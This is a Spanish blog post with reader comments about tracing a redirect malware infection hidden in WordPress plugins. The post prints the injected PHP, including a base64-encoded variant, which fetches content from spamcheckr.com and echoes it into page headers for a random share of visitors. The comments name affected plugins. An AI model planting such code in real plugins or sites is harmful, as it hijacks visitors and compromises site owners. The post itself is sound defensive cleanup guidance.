Seguramente en las últimas semanas, cuando has accedido a este blog, habrás notado que, en ocasiones, tras unos segundos de carga la URL cambiaba al vídeo Justin Bieber Trips Over While Playing Basketball with Scooter Braun.
© Gunnar Assmy – Fotolia.com
Tabla de contenidos,
Malware en mi WordPress
El hecho de que no ocurriera siempre y que fuera cambiando la URL convertía el problema en algo aleatorio; gracias al plugin de caché que mantenía la redirección durante unas horas pude analizar las páginas y en todas se había añadido las siguiente etiqueta META:
<meta http-equiv=»refresh» content=»0; url=http://www.youtube.com/watch?v=RFngSCaY5nA»/>
Buscando en Internet la solución al problema, todas las páginas en las que se hablaba del problema me remitían a las respuestas a la pregunta dejada a la comunidad de stackoverflow: WordPress blog infected with HTML Refresh meta tag.
La solución estaba en buscar el link, http://spamcheckr.com/l.php, que oculta el acceso al vídeo.
Me descargué los archivos de mi blog y la base de datos a mi ordenador y ejecuté desde la línea de comandos:
findstr /s /i /p «http://spamcheckr.com/l.php» /directorio_blog
y
findstr /s /i /p «RFngSCaY5nA» /directorio_blog
(siendo /directorio_blog el directorio con los archivos a analizar).
No encontré nada por lo que seguí buscando.
Fileseek
Gracias a How to solve redirection to Justin Beiber Video in WordPress ?, descubrí la herramienta Fileseek, una herramienta, que puedes probar gratuitamente durante 30 días, con la que las búsquedas en los archivos se realiza de manera más cómoda que con findstr, al ser una aplicación Windows.
Buscando «http://spamcheckr.com/l.php» no obtuve ningún resultado y buscando «RFngSCaY5nA» lo encontré en 25 ocasiones; pero sólo en archivos del plugin de caché.
Aunque borré el caché y desactivé el plugin WP Super Cache se seguían produciendo las redirecciones.
Localizo el código del Malware
En stackoverflow había leído que http://spamcheckr.com/l.php aparecía en el código:
if (!isset($_COOKIE[‘wordpress_test_cookie’])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists(‘curl_init’)){$addressd = «http://spamcheckr.com/l.php»;$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo «$data»;}}add_action(‘wp_head’,’secqqc2_chesk’);}}
Examinando el código se me ocurre realizar una búsqueda de «wordpress_test_cookie» con Fileseek, obteniendo dos resultados en sendos plugins con el siguiente código:
<?php if (!isset($_COOKIE[‘wordpress_test_cookie’])){ if (mt_rand(1,20) == 1) {function secqc2_chesk() {if(function_exists(‘curl_init’)) {$addressd=base64_decode(«c3BhbWNoZWNrci5jb20vY2hlY2sucGhw»);$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo «$data»;}}add_action(‘wp_head’,’secqc2_chesk’);}}?>
Siendo consciente que había localizado el Malware, codificado en base 64, busqué en Internet «c3BhbWNoZWNrci5jb20vY2hlY2sucGhw«, llegando a este foro donde explican que equivale a spamcheckr.com/check.php, enlace que te dirige al vídeo de Justin Bieber, o como se puede leer en Unmasking “Free” Premium WordPress Plugins, en ocasiones a adf.ly y adwat.ch.
El código malicioso sólo se ejecuta cuando la función mt_rand(1,20), que genera un número aleatorio entre 1 y 20, vale 1.
Resumen
El código que he estado buscando durante semanas, se presenta de tres formas distintas:
- http://spamcheckr.com/l.php
- http://spamcheckr.com/check.php
- En base 64: c3BhbWNoZWNrci5jb20vY2hlY2sucGhw
sólo se ejecuta una de cada 20 páginas vistas y produce al menos una de estas tres redirecciones:
- vídeo de Justin Bieber
- adf.ly
- adwat.ch
He tenido que leer varios artículos y realizar bastantes pruebas para poder localizar y eliminar el código malicioso de mi blog WordPress.
Utilizando el Repositorio Oficial de Plugins WordPress evitaremos descargarnos plugins a los que se les haya añadido código malicioso. Si buscamos un plugin y no está en el repositorio, tendremos que buscarlo en un sitio de confianza. No hay que olvidar que un plugin con malware puede dar acceso completo a nuestro blog.
¿Has tenido problemas de Malware en tu blog?, me gustaría que respondieras en los comentarios de esta entrada y me dijeras cómo lo eliminaste.
Si te ha gustado este artículo, compártelo en tus redes sociales. Si quieres recibir los próximos artículos suscríbete a este blog.
Tengo el mismo problema en una web que estoy trabajando, he visto que tienes el plugin utlimate social deux que también tengo instalado, pero no encuentro el archivo… tuviste el problema en el mismo plugin? gracias
Hola Jordi.
Efectivamente ese era uno de los dos plugins en los que tenía el malware.
Descárgate los archivos del plugin en el ordenador en un directorio. Realiza una búsqueda de “wordpress_test_cookie” con Fileseek, y deberías encontrar el código del Malware.
En el artículo tienes exactamente el código que he eliminado del plugin.
Un saludo,
José María
El problema es que trabajo con mac, y el Fileseek no está disponible, lo he buscado con el dremweaver y nada… No entiendo a que te refieres con buscar «wordpress_test_cookie», gracias por tu tiempo.
Ya está muchas gracias
Hola Jordi.
Te iba sugerir que utilizaras http://devstorm-apps.com/?portfolio=dfind que cuesta 5$ para buscar textos dentro de archivos en el Mac.
El malware a veces cambia el código por lo que las búsquedas debes hacerlas de textos que piensas que están en el código.
En este malware suele aparecer ‘wordpress_test_cookie’ por eso te sugería que lo buscaras para localizar el código malicioso.
¿Has localizado el código que tienes que eliminar?
Un saludo,
José María
Hola José María, tengo el mismo problema que tú, lo que hice fue comprar el plugin en cuestión y aún así me sigue saliendo el dichoso video.
Ahora buscando con fileseek ya no me aparece nada haciendo búsquedas con: http://spamcheckr.com/l.php, http://spamcheckr.com/check.php o c3BhbWNoZWNrci5jb20vY2hlY2sucGhw
Así creo que no me queda más remedio que volver a crear el sitio de nuevo, a no ser que me aconsejes hacer otra cosa. En todos los hilos abiertos en foros sobre este tema la solución es la que tu indicas pero como te he indicado no me sirve.
Gracias. Un saludo.
Hola Ana.
He eliminado el virus en otro blog y el código era ligeramente diferente al que apareció en el mío. Lo que si tenía en común era el uso del texto «wordpress_test_cookie», por lo que te recomiendo que sea ese el texto que busques.
Dime si lo encuentras, si lo haces sólo te quedará eliminar el bloque correspondiente que tendrá una estructura parecida a la que indico en el artículo.
Un saludo,
José María
Hola.
Muy buen articulo. Efectivamente encontré ese codigo malicioso que me daba errores incomprensibles y creo que encontré la solución a todos mis problemas eliminando la clase que contenía ese plugin.
Para el rastreo yo he utilizado la opcion de sublime Text de buscar en carpetas. (Yo tambien tengo mac). Espero que te haya servido de ayuda. Un saludo.
Ana busca: spamcheckr.com/req.php
A mi me pasó lo mismo y gracias a que José me avisó pude arreglarlo. Como curiosidad me bajé un plugin por internet (easy buttons social) y como no me fio lo analicé con la web virustotal (web que hace un análisis del archivo en más de 50 antivirus) y me dio el ok, como que estaba limpio pero no. Aunque menos mal que con el programa fileseeker y las indicaciones de José lo arreglé enseguida.
Otra cadena de texto de este mismo caso es: spamcheckr.com/req.php
Creo que bueno siempre que descarguemos algún plugin que no sea de la web del autor (en el caso de los de pago) o que no sea del repositorio de WordPress siempre tendremos que correr algún riesgo.
Me ha encantado la explicación del post, por que justo estaba buscando entender como funcionaba ya que no todas las veces que uno entra a la página redirecciona haciendo pensar que uno le ha dado click a algún enlace sin querer.
La parte positiva es que podemos reciclar el código para otra cosa. 🙂
Mi problema estaba en el plugin form craft en la ruta: wp-content/plugins/formcraft/php/settings_class.php:
José Maria, muchas gracias por compartir una solución tan detallada y bien documentada. Acabo de encontrar el problema en una de mis webs y me será de gran utilidad toda tu información para solucionarlo. Gracias!!
Efectivamente el problema esta en el plugin formcraft, settings_class.php buscan las líneas que indican en el inicio de este post, las eliminana, borran el archivo del servidor, recargan sin ese archivo, obviamente les va a dar un warning, lo suben de nuevo, cargan y listo. Funciona perfecto. Por lo menos como lo hice funciono. Gracias a todos por los aportes, me estaba volviendo loco.
Mil gracias por tu aporte. Me ha ayudado un montón. 😉
Hola a todos. Voy a ponerme a ello ya que tengo infectada una de mis web’s. Espero poder arreglarlo con el Fileseek. Ya os diré. Una duda que tengo es porque no detecta nada Virus Total.
Saludos y enhorabuena por el artículo.
Hola José María, tengo el mismo problema que tú, lo que hice fue comprar el plugin en cuestión y aún así me sigue saliendo el dichoso vídeo.
Así creo que no me queda más remedio que volver a crear el sitio de nuevo, a no ser que me aconsejes hacer otra cosa. En todos los hilos abiertos en foros sobre este tema la solución es la que tu indicas pero como te he indicado no me sirve.
Hola.
Deberías desahabilitar todos los plugins e ir probando uno a uno porque como ocurrió en mi caso el problema lo tenía en dos plugins, por lo que no me servía de nada ir deshabilitando los plugins de uno en uno para localizarlo.
Un saludo,
José María
A mi me pasó lo mismo y gracias a que José me avisó pude arreglarlo. Como curiosidad me bajé un plugin por internet (easy buttons social) y como no me fio lo analicé con la web virustotal (web que hace un análisis del archivo en más de 50 antivirus) y me dio el ok, como que estaba limpio pero no. Aunque menos mal que con el programa fileseeker y las indicaciones de José lo arreglé enseguida.
Lo siento, pero actualmente estoy experimentando conflictos entre complementos. He depurado algunos complementos potencialmente conflictivos, pero sigo mostrando un error en mi sitio.
El hecho de que no ocurriera siempre y que fuera cambiando la URL convertía el problema en algo aleatorio; gracias al plugin de caché que mantenía la redirección durante unas horas pude analizar